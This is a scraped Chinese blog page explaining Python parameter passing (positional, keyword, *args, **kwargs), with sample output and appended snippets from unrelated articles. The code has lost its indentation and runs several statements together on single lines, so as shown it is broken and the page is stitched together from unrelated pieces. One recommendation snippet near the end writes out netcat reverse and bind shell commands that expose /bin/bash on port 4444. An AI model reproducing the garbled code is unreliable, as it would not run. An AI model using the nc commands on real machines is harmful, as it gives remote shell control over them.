"""
函数的参数传递方法演示
"""
#1.位置传参
def normal(a, b, c):
print("1.位置传参:")
return a, b, c print(normal(1, 2, 3))
#return 返回值:
# return什么都不写或者干脆不写return。那么返回的就是None
# return后面写了一个值,则调用者可以接收一个结果
# return后面写了多个结果,则调用者可以接收一个tuple,调用者可以直接解构成多个变量
#所以演示结果都是tuple的形式,**kwords传参除外 # 2.关键字参数
def keys(a, b, c):
print("2.关键字传参:")
return a, b, c print(keys(a=1, c=2, b=3)) #此处a,b,c 的顺序可变,参数中等号可以不空格分开。 # 3.位置参数和关键字参数混合使用
def nor_key(a, b, c):
print("3.位置参数和关键字参数混合使用:")
return a, b, c print(nor_key(1, b=2, c=3)) # 4. *号传参:一次想要传入很多参数,就用形如“*a”的形式
# 函数内调用的时候只需要调用“a”就可以
def more_argu(*a):
print("4.*号传参:")
return a print(more_argu(1, 2, 3, "a", "haha", [1, 2, 3,4], {"今天天气不错", 123}, {"name":"狂暴小可爱", "city":"nanjing", "a":1})) # 5.位置参数/关键字参数/*号一起使用
def nor_key_more(a, b, *c, d):
print("5.位置参数/关键字参数/*号传参:")
return a, b, c, d print(nor_key_more(1, 2, 1, 2, 3, "a", "haha", [1, 2, 3,4], d=2)) #位置参数要在*之前,关键字参数在*之后 # 6.**kwords: 形如“**kwords”形式的传参,函数在接收时,会自动转换为键值对(字典)形式
# 传参时,也必须传入形如“a=1, b=2, c=3”
def other(**a):
print("6.**kwords传参:")
return a print(other(a=1, b=2, c=3, d=456, e=(1, 2, 3)))

python:函数的参数传递方法演示

运行结果如下

1.位置传参:
(1, 2, 3)
2.关键字传参:
(1, 3, 2)
3.位置参数和关键字参数混合使用:
(1, 2, 3)
4.*号传参:
(1, 2, 3, 'a', 'haha', [1, 2, 3, 4], {'今天天气不错', 123}, {'name': '狂暴小可爱', 'city': 'nanjing', 'a': 1})
5.位置参数/关键字参数/*号传参:
(1, 2, (1, 2, 3, 'a', 'haha', [1, 2, 3, 4]), 2)
6.**kwords传参:
{'a': 1, 'b': 2, 'c': 3, 'd': 456, 'e': (1, 2, 3)}

慢慢感觉大脑不够用了,希望每天坚持下去,一点一点积累。尽可能的写的详细点,做个笔记,

python:函数的参数传递方法演示的更多相关文章

  1. python函数的参数传递问题---传值还是传引用?

    摘要:在python中,strings, tuples, 和numbers是不可更改的对象,而list,dict等则是可以修改的对象.不可更改对象的传递属于传值,可更改对象属于传引用.想要在函数中传递 ...

  2. Python 函数的参数传递

    C/C++中,传递参数的类型是可以指定的.一般来说,传递参数可以分为两种:值传递和引用传递.对于值传递,参数传递的过程中进行了复制操作,也就是说,在函数中对参数的任何改动都不会影响到传入的变量:对于引 ...

  3. Python—函数的参数传递

    形参和实参 形参即形式参数,函数完成其工作时所需的信息.形参不占用内存空间,只有在被调用时才会占用内存空间,调用完了即被释放. 实参即实际参数,调用函数时传给函数的信息. # -*- coding: ...

  4. python 函数内置方法short_desc

    1. 给函数设置一个文本 def action_checked(self, request): pass action_checked.short_desc = "签到" # sh ...

  5. Python函数(二)-参数传递

    位置参数 根据位置顺序来传递参数 # -*- coding:utf-8 -*- __author__ = "MuT6 Sch01aR" def test(a,b): #a和b为形参 ...

  6. Python threading 多参数传递方法

    今天开启线程传递参数的时候,出现了一个小问题,一直不能传递多个参数,如下 import threading thread1 = threading.Thread(target=fun, args=[1 ...

  7. Python 函数 参数传递

    参数传递    在 python 中,类型属于对象,变量是没有类型的:        a=[1,2,3]        a="Runoob"    以上代码中,[1,2,3] 是 ...

  8. Python系列:四、Python函数--技术流ken

    Python函数 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段. 函数能提高应用的模块性,和代码的重复利用率.你已经知道Python提供了许多内建函数,比如print().但你也可 ...

  9. Python - 函数 - 第十四天

    Python 函数 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段. 函数能提高应用的模块性,和代码的重复利用率.你已经知道Python提供了许多内建函数,比如print().但你也 ...

随机推荐

  1. 洛谷 P1097 【统计数字】 题解

    题目背景 警告:数据可能存在加强 题目描述 某次科研调查时得到了nn个自然数,每个数均不超过1500000000(^)( ).已知不相同的数不超过1000010000个,现在需要统计这些自然数各自出现 ...

  2. Linux中的文件

    一般情况下,每个存储设备或存储设备的分区(存储设备是硬盘.软盘.U盘 ..)被格式化为文件系统后,都会有两部份,一部份是iNode,另一部份是Block.Block是用来存储数据用的,而iNode就是 ...

  3. 为arm-linux开发板挂载基于nfs的根文件系统

    linux4.14内核,首先设置kernel的bootargs,在make menuconfig中有三种方式来配置: 第一种方式为如果uboot中设置了bootargs环境变量,就采用uboot的bo ...

  4. python crawler

    crawl blog website: www.apress.com # -*- coding: utf-8 -*- """ Created on Wed May 10 ...

  5. 【Gamma阶段】第四次Scrum Meeting

    冰多多团队-Gamma阶段第四次Scrum会议 工作情况 团队成员 已完成任务 待完成任务 卓培锦 修改可移动button以及button手感反馈优化 编辑器风格切换(夜间模式) 牛雅哲 修复bug并 ...

  6. 【转】Linux 系统如何处理名称解析

    原文写的很好:https://blog.arstercz.com/linux-%E7%B3%BB%E7%BB%9F%E5%A6%82%E4%BD%95%E5%A4%84%E7%90%86%E5%90% ...

  7. Intellij idea利用Statistic插件统计项目代码行数

    1 . 插件介绍统计项目中各个文件的数量,大小,行数,平均等信息根据扩展名自定义统计详细行数信息 , 包括总行数,代码行数,代码行数占比,注释行数,注释行数占比,空白行数,空白行数占比自定义选择多个文 ...

  8. Redis中删除过期Key的三种策略

    转载自:http://blog.csdn.net/a_bang/article/details/52986935?locationNum=9&fps=1 项目中有个接口要频繁调用查询数据库中的 ...

  9. nc 命令转发bash

    反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc ...

  10. centos如何添加ftp目录

    检查Centos服务器中是否安装了vsftpd rpm -qa |grep vsftpd 如果没有显示则没有安装 2.安装vsftpd yum -y install vsftpd 3.打开vsftpd ...